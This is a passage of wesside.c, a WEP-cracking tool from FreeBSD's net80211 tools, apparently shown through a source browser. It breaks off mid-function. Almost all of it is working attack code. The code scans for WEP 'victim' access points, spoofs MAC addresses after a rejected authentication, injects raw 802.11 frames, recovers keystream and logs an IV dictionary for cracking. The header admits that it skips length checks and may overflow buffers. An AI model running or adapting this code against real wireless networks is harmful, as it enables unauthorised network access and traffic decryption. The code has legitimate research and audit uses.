xref: /freebsd/tools/tools/net80211/wesside/wesside/wesside.c (revision b3e7694832e81d7a904a10f525f8797b753bf0d3)
1 /*
2  * wep owner by sorbo <sorbox@yahoo.com>
3  * Aug 2005
4  *
5  * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6  * overflows.  this whole thing is experimental n e way.
7  */
8 
9 #include <sys/types.h>
10 #include <sys/socket.h>
11 #include <sys/ioctl.h>
12 #include <sys/endian.h>
13 #include <sys/stat.h>
14 #include <sys/wait.h>
15 #include <sys/uio.h>
16 #include <net/if.h>
17 #include <net/if_media.h>
18 #include <net/if_llc.h>
19 #include <net/if_arp.h>
20 #include <net/if_types.h>
21 #include <net/if_dl.h>
22 #include <net/bpf.h>
23 #include <net/ethernet.h>
24 #include <net80211/ieee80211.h>
25 #include <net80211/ieee80211_ioctl.h>
26 #include <net80211/ieee80211_radiotap.h>
27 #include <net80211/ieee80211_freebsd.h>
28 #include <netinet/in.h>
29 #include <netinet/in_systm.h>
30 #include <netinet/ip.h>
31 #include <netinet/udp.h>
32 #include <arpa/inet.h>
33 #include <paths.h>
34 #include <stdlib.h>
35 #include <stdio.h>
36 #include <unistd.h>
37 #include <string.h>
38 #include <fcntl.h>
39 #include <errno.h>
40 #include <assert.h>
41 #include <zlib.h>
42 #include <signal.h>
43 #include <stdarg.h>
44 #include <err.h>
45 #include <pcap.h>
46 
47 #include "aircrack-ptw-lib.h"
48 
49 #define FIND_VICTIM		0
50 #define FOUND_VICTIM		1
51 #define SENDING_AUTH		2
52 #define GOT_AUTH		3
53 #define SPOOF_MAC		4
54 #define SENDING_ASSOC		5
55 #define GOT_ASSOC		6
56 
57 int state = 0;
58 
59 struct timeval arpsend;
60 
61 struct tx_state {
62 	int waiting_ack;
63 	struct timeval tsent;
64 	int retries;
65 	unsigned int psent;
66 } txstate;
67 
68 struct chan_info {
69 	int s;
70 	struct ieee80211req ireq;
71 	int chan;
72 } chaninfo;
73 
74 struct victim_info {
75 	char* ssid;
76 	int chan;
77 	char bss[6];
78 } victim;
79 
80 struct frag_state {
81 	struct ieee80211_frame wh;
82 	unsigned char* data;
83 	int len;
84 	unsigned char* ptr;
85 	int waiting_relay;
86 	struct timeval last;
87 } fragstate;
88 
89 struct prga_info {
90 	unsigned char* prga;
91 	unsigned int len;
92 	unsigned char iv[3];
93 } prgainfo;
94 
95 struct decrypt_state {
96 	unsigned char* cipher;
97 	int clen;
98 	struct prga_info prgainfo;
99 	struct frag_state fragstate;
100 } decryptstate;
101 
102 struct wep_log {
103 	unsigned int packets;
104 	unsigned int rate;
105 	int fd;
106 	unsigned char iv[3];
107 } weplog;
108 
109 #define LINKTYPE_IEEE802_11     105
110 #define TCPDUMP_MAGIC           0xA1B2C3D4
111 
112 unsigned char* floodip = 0;
113 unsigned short floodport = 6969;
114 unsigned short floodsport = 53;
115 
116 unsigned char* netip = 0;
117 int netip_arg = 0;
118 int max_chan = 11;
119 
120 unsigned char* rtrmac = 0;
121 
122 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
123 unsigned char myip[16] = "192.168.0.123";
124 
125 int bits = 0;
126 int ttl_val = 0;
127 
128 PTW_attackstate *ptw;
129 
130 unsigned char *victim_mac = 0;
131 
132 int ack_timeout = 100*1000;
133 
134 #define ARPLEN (8+ 8 + 20)
135 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
136 unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
137 #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
138 #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
139 #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
140 
141 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
142 
143 #define WEP_FILE "wep.cap"
144 #define KEY_FILE "key.log"
145 #define PRGA_FILE "prga.log"
146 
147 unsigned int min_prga =  128;
148 
149 /*
150  * When starting aircrack we try first to use a
151  * local copy, falling back to where the installed
152  * version is expected.
153  * XXX builtin pathnames
154  */
155 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
156 #define CRACK_INSTALL_CMD _PATH_LOCALBASE "/bin/aircrack"
157 
158 #define INCR 10000
159 int thresh_incr = INCR;
160 
161 #define MAGIC_TTL_PAD 69
162 
163 int crack_dur = 60;
164 int wep_thresh = INCR;
165 int crack_pid = 0;
166 struct timeval crack_start;
167 struct timeval real_start;
168 
169 /* linksys does this.  The hardware pads small packets. */
170 #define PADDED_ARPLEN 54
171 
172 #define PRGA_LEN (1500-14-20-8)
173 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
174 
175 #define DICT_PATH "dict"
176 #define TAP_DEV "/dev/tap3"
177 unsigned char tapdev[16];
178 unsigned char taptx[4096];
179 unsigned int taptx_len = 0;
180 int tapfd = -1;
181 
182 /********** RIPPED
183 ************/
in_cksum(unsigned short * ptr,int nbytes)184 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
185   register long sum;
186   u_short oddbyte;
187   register u_short answer;
188 
189   sum = 0;
190   while (nbytes > 1)
191     {
192       sum += *ptr++;
193       nbytes -= 2;
194     }
195 
196   if (nbytes == 1)
197     {
198       oddbyte = 0;
199       *((u_char *) & oddbyte) = *(u_char *) ptr;
200       sum += oddbyte;
201     }
202 
203   sum = (sum >> 16) + (sum & 0xffff);
204   sum += (sum >> 16);
205   answer = ~sum;
206   return (answer);
207 }
208 /**************
209 ************/
210 
udp_checksum(unsigned char * stuff,int len,struct in_addr * sip,struct in_addr * dip)211 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
212                           struct in_addr *dip) {
213         unsigned char *tmp;
214         struct ippseudo *ph;
215 
216         tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
217         if(!tmp)
218 		err(1, "malloc()");
219 
220         ph = (struct ippseudo*) tmp;
221 
222         memcpy(&ph->ippseudo_src, sip, 4);
223         memcpy(&ph->ippseudo_dst, dip, 4);
224         ph->ippseudo_pad =  0;
225         ph->ippseudo_p = IPPROTO_UDP;
226         ph->ippseudo_len = htons(len);
227 
228         memcpy(tmp + sizeof(struct ippseudo), stuff, len);
229 
230         return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
231 }
232 
time_print(char * fmt,...)233 void time_print(char* fmt, ...) {
234         va_list ap;
235         char lame[1024];
236 	time_t tt;
237 	struct tm *t;
238 
239         va_start(ap, fmt);
240         vsnprintf(lame, sizeof(lame), fmt, ap);
241         va_end(ap);
242 
243 	tt = time(NULL);
244 
245 	if (tt == (time_t)-1) {
246 		perror("time()");
247 		exit(1);
248 	}
249 
250 	t = localtime(&tt);
251 	if (!t) {
252 		perror("localtime()");
253 		exit(1);
254 	}
255 
256 	printf("[%.2d:%.2d:%.2d] %s",
257 	       t->tm_hour, t->tm_min, t->tm_sec, lame);
258 }
259 
check_key()260 void check_key() {
261 	char buf[1024];
262 	int fd;
263 	int rd;
264 	struct timeval now;
265 
266 	fd = open(KEY_FILE, O_RDONLY);
267 
268 	if (fd == -1) {
269 		return;
270 	}
271 
272 	rd = read(fd, buf, sizeof(buf) -1);
273 	if (rd == -1) {
274 		perror("read()");
275 		exit(1);
276 	}
277 
278 	buf[rd] = 0;
279 
280 	close(fd);
281 
282 	printf ("\n\n");
283 	time_print("KEY=(%s)\n", buf);
284 
285 	if (gettimeofday(&now, NULL) == -1) {
286 		perror("gettimeofday()");
287 		exit(1);
288 	}
289 
290 	printf ("Owned in %.02f minutes\n",
291 		((double) now.tv_sec - real_start.tv_sec)/60.0);
292 	exit(0);
293 }
294 
kill_crack()295 void kill_crack() {
296 	if (crack_pid == 0)
297 		return;
298 
299 	printf("\n");
300 	time_print("Stopping crack PID=%d\n", crack_pid);
301 
302 	// XXX doesn't return -1 for some reason! [maybe on my box... so it
303 	// might be buggy on other boxes...]
304 	if (kill(crack_pid, SIGINT) == -1) {
305 		perror("kill()");
306 		exit(1);
307 	}
308 
309 	crack_pid = 0;
310 
311 	check_key();
312 }
313 
cleanup(int x)314 void cleanup(int x) {
315 	time_print("\nDying...\n");
316 
317 	if (weplog.fd)
318 		close(weplog.fd);
319 
320 	kill_crack();
321 
322 	exit(0);
323 }
324 
set_chan(int c)325 void set_chan(int c) {
326 	if (c == chaninfo.chan)
327 		return;
328 
329 	chaninfo.ireq.i_val = c;
330 
331 	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
332 		perror("ioctl(SIOCS80211) [chan]");
333 		exit(1);
334 	}
335 	chaninfo.chan = c;
336 }
337 
set_if_mac(unsigned char * mac,unsigned char * name)338 void set_if_mac(unsigned char* mac, unsigned char *name) {
339 	int s;
340 	struct ifreq ifr;
341 
342 	s = socket(PF_INET, SOCK_DGRAM, 0);
343 	if (s == -1) {
344 		perror("socket()");
345 		exit(1);
346 	}
347 
348 	memset(&ifr, 0, sizeof(ifr));
349 	strcpy(ifr.ifr_name, name);
350 
351 	ifr.ifr_addr.sa_family = AF_LINK;
352 	ifr.ifr_addr.sa_len = 6;
353 	memcpy(ifr.ifr_addr.sa_data, mac, 6);
354 
355 	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
356 		perror("ioctl(SIOCSIFLLADDR)");
357 		exit(1);
358 	}
359 
360 	close(s);
361 }
362 
setup_if(char * dev)363 void setup_if(char *dev) {
364 	int s;
365 	struct ifreq ifr;
366 	unsigned int flags;
367 	struct ifmediareq ifmr;
368 	int *mwords;
369 
370 	if(strlen(dev) >= IFNAMSIZ) {
371 		time_print("Interface name too long...\n");
372 		exit(1);
373 	}
374 
375 	time_print("Setting up %s... ", dev);
376 	fflush(stdout);
377 
378 	set_if_mac(mymac, dev);
379 
380 	s = socket(PF_INET, SOCK_DGRAM, 0);
381 	if (s == -1) {
382 		perror("socket()");
383 		exit(1);
384 	}
385 
386 	// set chan
387 	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
388 	strcpy(chaninfo.ireq.i_name, dev);
389 	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
390 
391 	chaninfo.chan = 0;
392 	chaninfo.s = s;
393 	set_chan(1);
394 
395 	// set iface up and promisc
396 	memset(&ifr, 0, sizeof(ifr));
397 	strcpy(ifr.ifr_name, dev);
398 	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
399 		perror("ioctl(SIOCGIFFLAGS)");
400 		exit(1);
401 	}
402 
403 	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
404 	flags |= IFF_UP | IFF_PPROMISC;
405 
406 	memset(&ifr, 0, sizeof(ifr));
407 	strcpy(ifr.ifr_name, dev);
408 	ifr.ifr_flags = flags & 0xffff;
409 	ifr.ifr_flagshigh = flags >> 16;
410 	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
411 		perror("ioctl(SIOCSIFFLAGS)");
412 		exit(1);
413 	}
414 
415 	printf("done\n");
416 }
417 
open_bpf(char * dev,int dlt)418 int open_bpf(char *dev, int dlt) {
419         int i;
420         char buf[64];
421         int fd = -1;
422         struct ifreq ifr;
423 
424         for(i = 0;i < 16; i++) {
425                 sprintf(buf, "/dev/bpf%d", i);
426 
427                 fd = open(buf, O_RDWR);
428                 if(fd < 0) {
429                         if(errno != EBUSY) {
430                                 perror("can't open /dev/bpf");
431                                 exit(1);
432                         }
433                         continue;
434                 }
435                 else
436                         break;
437         }
438 
439         if(fd < 0) {
440                 perror("can't open /dev/bpf");
441                 exit(1);
442         }
443 
444         strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
445         ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
446 
447         if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
448                 perror("ioctl(BIOCSETIF)");
449                 exit(1);
450         }
451 
452         if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
453                 perror("ioctl(BIOCSDLT)");
454                 exit(1);
455         }
456 
457         i = 1;
458         if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
459                 perror("ioctl(BIOCIMMEDIATE)");
460                 exit(1);
461         }
462 
463         return fd;
464 }
465 
hexdump(unsigned char * ptr,int len)466 void hexdump(unsigned char *ptr, int len) {
467         while(len > 0) {
468                 printf("%.2X ", *ptr);
469                 ptr++; len--;
470         }
471         printf("\n");
472 }
473 
mac2str(unsigned char * mac)474 char* mac2str(unsigned char* mac) {
475 	static char ret[6*3];
476 
477 	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
478 		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
479 
480 	return ret;
481 }
482 
inject(int fd,void * buf,int len)483 void inject(int fd, void *buf, int len)
484 {
485 	static struct ieee80211_bpf_params params = {
486 		.ibp_vers = IEEE80211_BPF_VERSION,
487 		/* NB: no need to pass series 2-4 rate+try */
488 		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
489 		.ibp_rate0 = 2,		/* 1 MB/s XXX */
490 		.ibp_try0 = 1,		/* no retransmits */
491 		.ibp_flags = IEEE80211_BPF_NOACK,
492 		.ibp_power = 100,	/* nominal max */
493 		.ibp_pri = WME_AC_VO,	/* high priority */
494 	};
495 	struct iovec iov[2];
496 	int rc;
497 
498 	iov[0].iov_base = &params;
499 	iov[0].iov_len = params.ibp_len;
500 	iov[1].iov_base = buf;
501 	iov[1].iov_len = len;
502 	rc = writev(fd, iov, 2);
503 	if(rc == -1) {
504 		perror("writev()");
505 		exit(1);
506 	}
507 	if (rc != (len + iov[0].iov_len)) {
508 		time_print("Error Wrote %d out of %d\n", rc,
509 			   len+iov[0].iov_len);
510 		exit(1);
511 	}
512 }
513 
send_frame(int tx,unsigned char * buf,int len)514 void send_frame(int tx, unsigned char* buf, int len) {
515 	static unsigned char* lame = 0;
516 	static int lamelen = 0;
517 	static int lastlen = 0;
518 
519 	// retransmit!
520 	if (len == -1) {
521 		txstate.retries++;
522 
523 		if (txstate.retries > 10) {
524 			time_print("ERROR Max retransmists for (%d bytes):\n",
525 			       lastlen);
526 			hexdump(&lame[0], lastlen);
527 //			exit(1);
528 		}
529 		len = lastlen;
530 //		printf("Warning doing a retransmit...\n");
531 	}
532 	// normal tx
533 	else {
534 		assert(!txstate.waiting_ack);
535 
536 		if (len > lamelen) {
537 			if (lame)
538 				free(lame);
539 
540 			lame = (unsigned char*) malloc(len);
541 			if(!lame) {
542 				perror("malloc()");
543 				exit(1);
544 			}
545 
546 			lamelen = len;
547 		}
548 
549 		memcpy(lame, buf, len);
550 		txstate.retries = 0;
551 		lastlen = len;
552 	}
553 
554 	inject(tx, lame, len);
555 
556 	txstate.waiting_ack = 1;
557 	txstate.psent++;
558 	if (gettimeofday(&txstate.tsent, NULL) == -1) {
559 		perror("gettimeofday()");
560 		exit(1);
561 	}
562 
563 #if 0
564 	printf("Wrote frame at %lu.%lu\n",
565 	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
566 #endif
567 }
568 
fnseq(unsigned short fn,unsigned short seq)569 unsigned short fnseq(unsigned short fn, unsigned short seq) {
570         unsigned short r = 0;
571 
572         if(fn > 15) {
573                 time_print("too many fragments (%d)\n", fn);
574                 exit(1);
575         }
576 
577         r = fn;
578 
579         r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
580 
581         return r;
582 }
583 
fill_basic(struct ieee80211_frame * wh)584 void fill_basic(struct ieee80211_frame* wh) {
585 	unsigned short* sp;
586 
587 	memcpy(wh->i_addr1, victim.bss, 6);
588 	memcpy(wh->i_addr2, mymac, 6);
589 	memcpy(wh->i_addr3, victim.bss, 6);
590 
591 
592 
593 	sp = (unsigned short*) wh->i_seq;
594 	*sp = fnseq(0, txstate.psent);
595 
596 	sp = (unsigned short*) wh->i_dur;
597 	*sp = htole16(32767);
598 }
599 
send_assoc(int tx)600 void send_assoc(int tx) {
601 	unsigned char buf[128];
602 	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
603 	unsigned char* body;
604 	int ssidlen;
605 
606 	memset(buf, 0, sizeof(buf));
607 	fill_basic(wh);
608 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
609 
610 	body = (unsigned char*) wh + sizeof(*wh);
611 	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
612 	// cap + interval
613 	body += 2 + 2;
614 
615 	// ssid
616 	*body++ = 0;
617 	ssidlen = strlen(victim.ssid);
618 	*body++ = ssidlen;
619 	memcpy(body, victim.ssid, ssidlen);
620 	body += ssidlen;
621 
622 	// rates
623 	*body++ = 1;
624 	*body++ = 4;
625 	*body++ = 2;
626 	*body++ = 4;
627 	*body++ = 11;
628 	*body++ = 22;
629 
630 	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
631 			    strlen(victim.ssid) + 2 + 4);
632 }
633 
wepify(unsigned char * body,int dlen)634 void wepify(unsigned char* body, int dlen) {
635 	uLong crc;
636 	unsigned long *pcrc;
637 	int i;
638 
639 	assert(dlen + 4 <= prgainfo.len);
640 
641 	// iv
642 	memcpy(body, prgainfo.iv, 3);
643 	body +=3;
644 	*body++ = 0;
645 
646 	// crc
647 	crc = crc32(0L, Z_NULL, 0);
648 	crc = crc32(crc, body, dlen);
649 	pcrc = (unsigned long*) (body+dlen);
650 	*pcrc = crc;
651 
652 	for (i = 0; i < dlen +4; i++)
653 		*body++ ^= prgainfo.prga[i];
654 }
655 
send_auth(int tx)656 void send_auth(int tx) {
657 	unsigned char buf[128];
658 	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
659 	unsigned short* n;
660 
661 	memset(buf, 0, sizeof(buf));
662 	fill_basic(wh);
663 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
664 
665 	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
666 	n++;
667 	*n = 1;
668 
669 	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
670 }
671 
get_victim_ssid(struct ieee80211_frame * wh,int len)672 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
673 	unsigned char* ptr;
674 	int x;
675 	int gots = 0, gotc = 0;
676 
677 	if (len <= sizeof(*wh)) {
678 		time_print("Warning: short packet in get_victim_ssid()\n");
679 		return 0;
680 	}
681 
682 	ptr = (unsigned char*)wh + sizeof(*wh);
683 	len -= sizeof(*wh);
684 
685 	// only wep baby
686 	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
687 		return 0;
688 	}
689 
690 	// we want a specific victim
691 	if (victim_mac) {
692 		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
693 			return 0;
694 	}
695 
696 	// beacon header
697 	x = 8 + 2 + 2;
698 	if (len <= x) {
699 		time_print("Warning short.asdfasdf\n");
700 		return 0;
701 	}
702 
703 	ptr += x;
704 	len -= x;
705 
706 	// SSID
707 	while(len > 2) {
708 		int eid, elen;
709 
710 		eid = *ptr;
711 		ptr++;
712 		elen = *ptr;
713 		ptr++;
714 		len -= 2;
715 
716 		if (len < elen) {
717 			time_print("Warning short....\n");
718 			return 0;
719 		}
720 
721 		// ssid
722 		if (eid == 0) {
723 			if (victim.ssid)
724 				free(victim.ssid);
725 
726 			victim.ssid = (char*) malloc(elen + 1);
727 			if (!victim.ssid) {
728 				perror("malloc()");
729 				exit(1);
730 			}
731 
732 			memcpy(victim.ssid, ptr, elen);
733 			victim.ssid[elen] = 0;
734 			gots = 1;
735 
736 		}
737 		// chan
738 		else if(eid == 3) {
739 			if( elen != 1) {
740 				time_print("Warning len of chan not 1\n");
741 				return 0;
742 			}
743 
744 			victim.chan = *ptr;
745 			gotc = 1;
746 		}
747 
748 		ptr += elen;
749 		len -= elen;
750 	}
751 
752 	if (gots && gotc) {
753 		memcpy(victim.bss, wh->i_addr3, 6);
754 		set_chan(victim.chan);
755 		state = FOUND_VICTIM;
756 		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
757 		       victim.ssid, mac2str(victim.bss), victim.chan);
758 		return 1;
759 	}
760 	return 0;
761 }
762 
send_ack(int tx)763 void send_ack(int tx) {
764 	/* firmware acks */
765 }
766 
do_llc(unsigned char * buf,unsigned short type)767 void do_llc(unsigned char* buf, unsigned short type) {
768 	struct llc* h = (struct llc*) buf;
769 
770 	memset(h, 0, sizeof(*h));
771 	h->llc_dsap = LLC_SNAP_LSAP;
772 	h->llc_ssap = LLC_SNAP_LSAP;
773 	h->llc_un.type_snap.control = 3;
774 	h->llc_un.type_snap.ether_type = htons(type);
775 }
776 
calculate_inet_clear()777 void calculate_inet_clear() {
778 	struct ip* ih;
779 	struct udphdr* uh;
780 	uLong crc;
781 	unsigned long *pcrc;
782 	int dlen;
783 
784 	memset(inet_clear, 0, sizeof(inet_clear));
785 
786 	do_llc(inet_clear, ETHERTYPE_IP);
787 
788 	ih = (struct ip*) &inet_clear[8];
789 	ih->ip_hl = 5;
790 	ih->ip_v = 4;
791 	ih->ip_tos = 0;
792 	ih->ip_len = htons(20+8+PRGA_LEN);
793 	ih->ip_id = htons(666);
794 	ih->ip_off = 0;
795 	ih->ip_ttl = ttl_val;
796 	ih->ip_p = IPPROTO_UDP;
797 	ih->ip_sum = 0;
798 	inet_aton(floodip, &ih->ip_src);
799 	inet_aton(myip, &ih->ip_dst);
800 	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
801 
802 	uh = (struct udphdr*) ((char*)ih + 20);
803 	uh->uh_sport = htons(floodport);
804 	uh->uh_dport = htons(floodsport);
805 	uh->uh_ulen = htons(8+PRGA_LEN);
806 	uh->uh_sum = 0;
807         uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
808                                   &ih->ip_src, &ih->ip_dst);
809 
810 	// crc
811 	dlen = 8 + 20 + 8 + PRGA_LEN;
812 	assert (dlen + 4 <= sizeof(inet_clear));
813 
814 	crc = crc32(0L, Z_NULL, 0);
815 	crc = crc32(crc, inet_clear, dlen);
816 	pcrc = (unsigned long*) (inet_clear+dlen);
817 	*pcrc = crc;
818 
819 #if 0
820 	printf("INET %d\n", sizeof(inet_clear));
821 	hexdump(inet_clear, sizeof(inet_clear));
822 #endif
823 }
824 
set_prga(unsigned char * iv,unsigned char * cipher,unsigned char * clear,int len)825 void set_prga(unsigned char* iv, unsigned char* cipher,
826 	      unsigned char* clear, int len) {
827 
828 	int i;
829 	int fd;
830 
831 	if (prgainfo.len != 0)
832 		free(prgainfo.prga);
833 
834 	prgainfo.prga = (unsigned char*) malloc(len);
835 	if (!prgainfo.prga) {
836 		perror("malloc()");
837 		exit(1);
838 	}
839 
840 	prgainfo.len = len;
841 	memcpy(prgainfo.iv, iv, 3);
842 
843 	for (i = 0; i < len; i++) {
844 		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
845 				 	        clear[i]);
846 	}
847 
848 	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
849 	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
850 	hexdump(prgainfo.prga, prgainfo.len);
851 
852 	if (!cipher)
853 		return;
854 
855 	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
856 		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
857 
858 	if (fd == -1) {
859 		perror("open()");
860 		exit(1);
861 	}
862 
863 	i = write(fd, prgainfo.iv, 3);
864 	if (i == -1) {
865 		perror("write()");
866 		exit(1);
867 	}
868 	if (i != 3) {
869 		printf("Wrote %d out of %d\n", i, 3);
870 		exit(1);
871 	}
872 
873 	i = write(fd, prgainfo.prga, prgainfo.len);
874 	if (i == -1) {
875 		perror("write()");
876 		exit(1);
877 	}
878 	if (i != prgainfo.len) {
879 		printf("Wrote %d out of %d\n", i, prgainfo.len);
880 		exit(1);
881 	}
882 
883 	close(fd);
884 }
885 
886 
log_dictionary(unsigned char * body,int len)887 void log_dictionary(unsigned char* body, int len) {
888 	char paths[3][3];
889 	int i, rd;
890 	int fd;
891 	unsigned char path[128];
892 	unsigned char file_clear[sizeof(inet_clear)];
893 	unsigned char* data;
894 
895 	len -= 4; // IV etc..
896 	assert (len == sizeof(inet_clear));
897 
898 	data = body +4;
899 
900 	if (len > prgainfo.len)
901 		set_prga(body, data, inet_clear, len);
902 
903 
904 	for (i = 0; i < 3; i++)
905 		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
906 
907 
908 	strcpy(path, DICT_PATH);
909 
910 
911 	// first 2 bytes
912 	for (i = 0; i < 2; i++) {
913 		strcat(path, "/");
914 		strcat(path, paths[i]);
915 		fd = open(path, O_RDONLY);
916 		if (fd == -1) {
917 			if (errno != ENOENT) {
918 				perror("open()");
919 				exit(1);
920 			}
921 
922 			if (mkdir(path, 0755) == -1) {
923 				perror("mkdir()");
924 				exit(1);
925 			}
926 		}
927 		else
928 			close(fd);
929 	}
930 
931 	// last byte
932 	strcat(path, "/");
933 	strcat(path, paths[2]);
934 
935 	fd = open(path, O_RDWR);
936 	// already exists... see if we are consistent...
937 	if (fd != -1) {
938 		rd = read(fd, file_clear, sizeof(file_clear));
939 
940 		if (rd == -1) {
941 			perror("read()");
942 			exit(1);
943 		}
944 
945 		// check consistency....
946 		for (i = 0; i < rd; i++) {
947 			if (file_clear[i] !=
948 			    (data[i] ^ inet_clear[i])) {
949 
950 				printf("Mismatch in byte %d for:\n", i);
951 				hexdump(body, len+4);
952 				exit(1);
953 			}
954 		}
955 
956 		// no need to log
957 		if (i >= sizeof(inet_clear)) {
958 #if 0
959 			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
960 				body[0], body[1], body[2]);
961 #endif
962 			close(fd);
963 			return;
964 		}
965 
966 		// file has less... fd still open
967 
968 	} else {
969 		fd = open(path, O_WRONLY | O_CREAT, 0644);
970 		if (fd == -1) {
971 			printf("Can't open (%s): %s\n", path,
972 			       strerror(errno));
973 			exit(1);
974 		}
975 	}
976 
977 	assert (sizeof(file_clear) >= sizeof(inet_clear));
978 
979 	for(i = 0; i < len; i++)
980 		file_clear[i] = data[i] ^ inet_clear[i];
981 
982 	rd = write(fd, file_clear, len);
983 	if (rd == -1) {
984 		perror("write()");
985 		exit(1);
986 	}
987 	if (rd != len) {
988 		printf("Wrote %d of %d\n", rd, len);
989 		exit(1);
990 	}
991 	close(fd);
992 }
993 
stuff_for_us(struct ieee80211_frame * wh,int len)994 void stuff_for_us(struct ieee80211_frame* wh, int len) {
995 	int type,stype;
996 	unsigned char* body;
997 
998 	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
999 	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1000 
1001 	body = (unsigned char*) wh + sizeof(*wh);
1002 
1003 	// CTL
1004 	if (type == IEEE80211_FC0_TYPE_CTL) {
1005 		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1006 			txstate.waiting_ack = 0;
1007 			return;
1008 		}
1009 
1010 		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1011 			return;
1012 		}
1013 
1014 		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1015 			return;
1016 		}
1017 		time_print ("got CTL=%x\n", stype);
1018 		return;
1019 	}
1020 
1021 	// MGM
1022 	if (type == IEEE80211_FC0_TYPE_MGT) {
1023 		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1024 			unsigned short* rc = (unsigned short*) body;
1025 			printf("\n");
1026 			time_print("Got deauth=%u\n", le16toh(*rc));
1027 			state = FOUND_VICTIM;
1028 			return;
1029 			exit(1);
1030 		}
1031 		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1032 			unsigned short* sc = (unsigned short*) body;
1033 
1034 			if (*sc != 0) {
1035 				time_print("Warning got auth algo=%x\n", *sc);
1036 				exit(1);
1037 				return;
1038 			}
1039 			sc++;
1040 
1041 			if (*sc != 2) {
1042 				time_print("Warning got auth seq=%x\n", *sc);
1043 				return;
1044 			}
1045 
1046 			sc++;
1047 
1048 			if (*sc == 1) {
1049 				time_print("Auth rejected... trying to spoof mac.\n");
1050 				state = SPOOF_MAC;
1051 				return;
1052 			}
1053 			else if (*sc == 0) {
1054 				time_print("Authenticated\n");
1055 				state = GOT_AUTH;
1056 				return;
1057 			}
1058 			else {
1059 				time_print("Got auth %x\n", *sc);
1060 				exit(1);
1061 			}
1062 		}
1063 		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1064 			unsigned short* sc = (unsigned short*) body;
1065 			sc++; // cap
1066 
1067 			if (*sc == 0) {
1068 				sc++;
1069 				unsigned int aid = le16toh(*sc) & 0x3FFF;
1070 				time_print("Associated (ID=%x)\n", aid);
1071 				state = GOT_ASSOC;
1072 				return;
1073 		        } else if (*sc == 12) {
1074                                 time_print("Assoc rejected..."
1075                                            " trying to spoof mac.\n");
1076                                 state = SPOOF_MAC;
1077                                 return;
1078 			} else {
1079 				time_print("got assoc %x\n", *sc);
1080 				exit(1);
1081 			}
1082 		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1083 			return;
1084 		}
1085 
1086 		time_print("\nGOT MAN=%x\n", stype);
1087 		exit(1);
1088 	}
1089 
1090 	if (type == IEEE80211_FC0_TYPE_DATA &&
1091 	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1092 		int dlen;
1093 		dlen = len - sizeof(*wh) - 4 -4;
1094 
1095 		if (!( wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
1096 			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1097 				   mac2str(wh->i_addr2), dlen, stype);
